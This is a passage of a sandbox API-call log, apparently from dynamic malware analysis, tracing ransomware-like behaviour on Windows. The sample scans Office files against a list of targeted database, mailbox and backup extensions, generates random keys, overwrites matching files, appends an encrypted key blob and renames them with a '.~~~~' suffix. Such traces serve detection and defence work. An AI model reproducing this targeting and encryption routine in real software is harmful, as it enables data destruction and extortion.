	[0135.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".dbf") returned 0x0
	[0135.813] lstrlenW (lpString=".SQL") returned 4
	[0135.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".SQL") returned 0x0
	[0135.813] lstrlenW (lpString=".pst") returned 4
	[0135.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".pst") returned 0x0
	[0135.813] lstrlenW (lpString=".dbv") returned 4
	[0135.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".dbv") returned 0x0
	[0135.814] lstrlenW (lpString=".SDF") returned 4
	[0135.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".SDF") returned 0x0
	[0135.814] lstrlenW (lpString=".dtxs") returned 5
	[0135.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".dtxs") returned 0x0
	[0135.814] lstrlenW (lpString=".db3") returned 4
	[0135.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".db3") returned 0x0
	[0135.814] lstrlenW (lpString=".OST") returned 4
	[0135.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".OST") returned 0x0
	[0135.814] lstrlenW (lpString=".dbx") returned 4
	[0135.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".dbx") returned 0x0
	[0135.814] lstrlenW (lpString=".DB3") returned 4
	[0135.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".DB3") returned 0x0
	[0135.814] lstrlenW (lpString=".DAT") returned 4
	[0135.814] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT", lpSrch=".DAT") returned=".DAT"
	[0135.814] lstrlenW (lpString=".DAT") returned 4
	[0135.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0135.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.814] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394db0) returned 1
	[0135.815] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.815] CryptReleaseContext (hProv=0x394db0, dwFlags=0x0) returned 1
	[0135.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0135.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0135.816] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25580597193) returned 1
	[0135.816] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xba64e330, dwHighDateTime=0x1d60e1e)) 
	[0135.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0135.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0135.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0135.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4778
	[0135.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4778 | out: hHeap=0x300000) returned 1
	[0135.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8858
	[0135.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.817] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0135.817] GetLastError () returned 0x0
	[0135.817] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0135.817] GetLastError () returned 0x0
	[0135.820] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe9200, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.820] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x16e00, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x16e00, lpOverlapped=0x0) returned 1
	[0135.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0135.821] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.821] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.821] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.821] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.821] CloseHandle (hObject=0x140) returned 1
	[0135.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8858
	[0135.822] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outform.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outform.dat.~~~~")) returned 1
	[0135.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8858 | out: hHeap=0x300000) returned 1
	[0135.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0135.825] GetLastError () returned 0x0
	[0135.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".scr") returned 0x0
	[0135.825] lstrlenW (lpString=".cmd") returned 4
	[0135.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".cmd") returned 0x0
	[0135.825] lstrlenW (lpString=".dll") returned 4
	[0135.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".dll") returned 0x0
	[0135.825] lstrlenW (lpString=".bat") returned 4
	[0135.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".bat") returned 0x0
	[0135.825] lstrlenW (lpString=".cpl") returned 4
	[0135.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".cpl") returned 0x0
	[0135.825] lstrlenW (lpString=".sys") returned 4
	[0135.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".sys") returned 0x0
	[0135.826] lstrlenW (lpString=".msc") returned 4
	[0135.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".msc") returned 0x0
	[0135.826] lstrlenW (lpString=".com") returned 4
	[0135.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".com") returned 0x0
	[0135.826] lstrlenW (lpString=".lnk") returned 4
	[0135.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".lnk") returned 0x0
	[0135.826] lstrlenW (lpString=".msp") returned 4
	[0135.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".msp") returned 0x0
	[0135.826] lstrlenW (lpString=".pif") returned 4
	[0135.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".pif") returned 0x0
	[0135.826] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0135.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0135.828] lstrlenW (lpString=".sqb") returned 4
	[0135.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".sqb") returned 0x0
	[0135.828] lstrlenW (lpString=".ost") returned 4
	[0135.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".ost") returned 0x0
	[0135.828] lstrlenW (lpString=".txt") returned 4
	[0135.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".txt") returned 0x0
	[0135.828] lstrlenW (lpString=".mdt") returned 4
	[0135.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".mdt") returned 0x0
	[0135.828] lstrlenW (lpString=".BDB") returned 4
	[0135.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".BDB") returned 0x0
	[0135.829] lstrlenW (lpString=".eql") returned 4
	[0135.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".eql") returned 0x0
	[0135.829] lstrlenW (lpString=".DBF") returned 4
	[0135.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".DBF") returned 0x0
	[0135.829] lstrlenW (lpString=".EQL") returned 4
	[0135.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".EQL") returned 0x0
	[0135.829] lstrlenW (lpString=".FDB") returned 4
	[0135.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".FDB") returned 0x0
	[0135.829] lstrlenW (lpString=".EDB") returned 4
	[0135.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".EDB") returned 0x0
	[0135.829] lstrlenW (lpString=".DACPAC") returned 7
	[0135.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".DACPAC") returned 0x0
	[0135.829] lstrlenW (lpString=".VHD") returned 4
	[0135.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".VHD") returned 0x0
	[0135.829] lstrlenW (lpString=".DBV") returned 4
	[0135.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".DBV") returned 0x0
	[0135.829] lstrlenW (lpString=".dacpac") returned 7
	[0135.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".dacpac") returned 0x0
	[0135.829] lstrlenW (lpString=".sdf") returned 4
	[0135.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".sdf") returned 0x0
	[0135.829] lstrlenW (lpString=".accdb") returned 6
	[0135.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".accdb") returned 0x0
	[0135.829] lstrlenW (lpString=".DBX") returned 4
	[0135.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".DBX") returned 0x0
	[0135.829] lstrlenW (lpString=".MDT") returned 4
	[0135.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".MDT") returned 0x0
	[0135.830] lstrlenW (lpString=".SQB") returned 4
	[0135.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".SQB") returned 0x0
	[0135.830] lstrlenW (lpString=".vhd") returned 4
	[0135.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".vhd") returned 0x0
	[0135.830] lstrlenW (lpString=".bac") returned 4
	[0135.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".bac") returned 0x0
	[0135.830] lstrlenW (lpString=".mdf") returned 4
	[0135.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".mdf") returned 0x0
	[0135.830] lstrlenW (lpString=".BAK") returned 4
	[0135.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".BAK") returned 0x0
	[0135.830] lstrlenW (lpString=".BAC") returned 4
	[0135.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".BAC") returned 0x0
	[0135.830] lstrlenW (lpString=".dbs") returned 4
	[0135.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".dbs") returned 0x0
	[0135.830] lstrlenW (lpString=".vhdx") returned 5
	[0135.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".vhdx") returned 0x0
	[0135.830] lstrlenW (lpString=".NDF") returned 4
	[0135.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".NDF") returned 0x0
	[0135.830] lstrlenW (lpString=".dat") returned 4
	[0135.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".dat") returned 0x0
	[0135.830] lstrlenW (lpString=".DBS") returned 4
	[0135.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".DBS") returned 0x0
	[0135.830] lstrlenW (lpString=".CKP") returned 4
	[0135.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".CKP") returned 0x0
	[0135.830] lstrlenW (lpString=".edb") returned 4
	[0135.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".edb") returned 0x0
	[0135.830] lstrlenW (lpString=".PST") returned 4
	[0135.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".PST") returned 0x0
	[0135.831] lstrlenW (lpString=".dbf") returned 4
	[0135.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".dbf") returned 0x0
	[0135.831] lstrlenW (lpString=".SQL") returned 4
	[0135.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".SQL") returned 0x0
	[0135.831] lstrlenW (lpString=".pst") returned 4
	[0135.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".pst") returned 0x0
	[0135.831] lstrlenW (lpString=".dbv") returned 4
	[0135.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".dbv") returned 0x0
	[0135.831] lstrlenW (lpString=".SDF") returned 4
	[0135.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".SDF") returned 0x0
	[0135.831] lstrlenW (lpString=".dtxs") returned 5
	[0135.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".dtxs") returned 0x0
	[0135.831] lstrlenW (lpString=".db3") returned 4
	[0135.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".db3") returned 0x0
	[0135.831] lstrlenW (lpString=".OST") returned 4
	[0135.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".OST") returned 0x0
	[0135.831] lstrlenW (lpString=".dbx") returned 4
	[0135.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".dbx") returned 0x0
	[0135.831] lstrlenW (lpString=".DB3") returned 4
	[0135.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".DB3") returned 0x0
	[0135.831] lstrlenW (lpString=".DAT") returned 4
	[0135.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".DAT") returned 0x0
	[0135.831] lstrlenW (lpString=".VHDX") returned 5
	[0135.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".VHDX") returned 0x0
	[0135.831] lstrlenW (lpString=".ndf") returned 4
	[0135.831] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".ndf") returned 0x0
	[0135.832] lstrlenW (lpString=".DB") returned 3
	[0135.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".DB") returned 0x0
	[0135.832] lstrlenW (lpString=".sql") returned 4
	[0135.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".sql") returned 0x0
	[0135.832] lstrlenW (lpString=".MYD") returned 4
	[0135.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".MYD") returned 0x0
	[0135.832] lstrlenW (lpString=".DBT") returned 4
	[0135.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".DBT") returned 0x0
	[0135.832] lstrlenW (lpString=".ACCDB") returned 6
	[0135.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".ACCDB") returned 0x0
	[0135.832] lstrlenW (lpString=".fdb") returned 4
	[0135.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".fdb") returned 0x0
	[0135.832] lstrlenW (lpString=".bak") returned 4
	[0135.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".bak") returned 0x0
	[0135.832] lstrlenW (lpString=".myd") returned 4
	[0135.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".myd") returned 0x0
	[0135.832] lstrlenW (lpString=".DTXS") returned 5
	[0135.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".DTXS") returned 0x0
	[0135.832] lstrlenW (lpString=".ckp") returned 4
	[0135.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".ckp") returned 0x0
	[0135.832] lstrlenW (lpString=".dbt") returned 4
	[0135.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".dbt") returned 0x0
	[0135.832] lstrlenW (lpString=".db") returned 3
	[0135.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".db") returned 0x0
	[0135.832] lstrlenW (lpString=".TXT") returned 4
	[0135.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".TXT") returned 0x0
	[0135.832] lstrlenW (lpString=".MDF") returned 4
	[0135.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".MDF") returned 0x0
	[0135.833] lstrlenW (lpString=".bdb") returned 4
	[0135.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".bdb") returned 0x0
	[0135.833] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0135.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.833] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394ec0) returned 1
	[0135.834] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.834] CryptReleaseContext (hProv=0x394ec0, dwFlags=0x0) returned 1
	[0135.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0135.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0135.834] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25582447152) returned 1
	[0135.834] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xba674490, dwHighDateTime=0x1d60e1e)) 
	[0135.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0135.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0135.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0135.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4740
	[0135.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4740 | out: hHeap=0x300000) returned 1
	[0135.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8858
	[0135.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.835] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0135.835] GetLastError () returned 0x0
	[0135.836] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0135.836] GetLastError () returned 0x0
	[0135.838] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff690, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.838] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x970, lpOverlapped=0x0) returned 1
	[0135.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0135.838] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.838] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
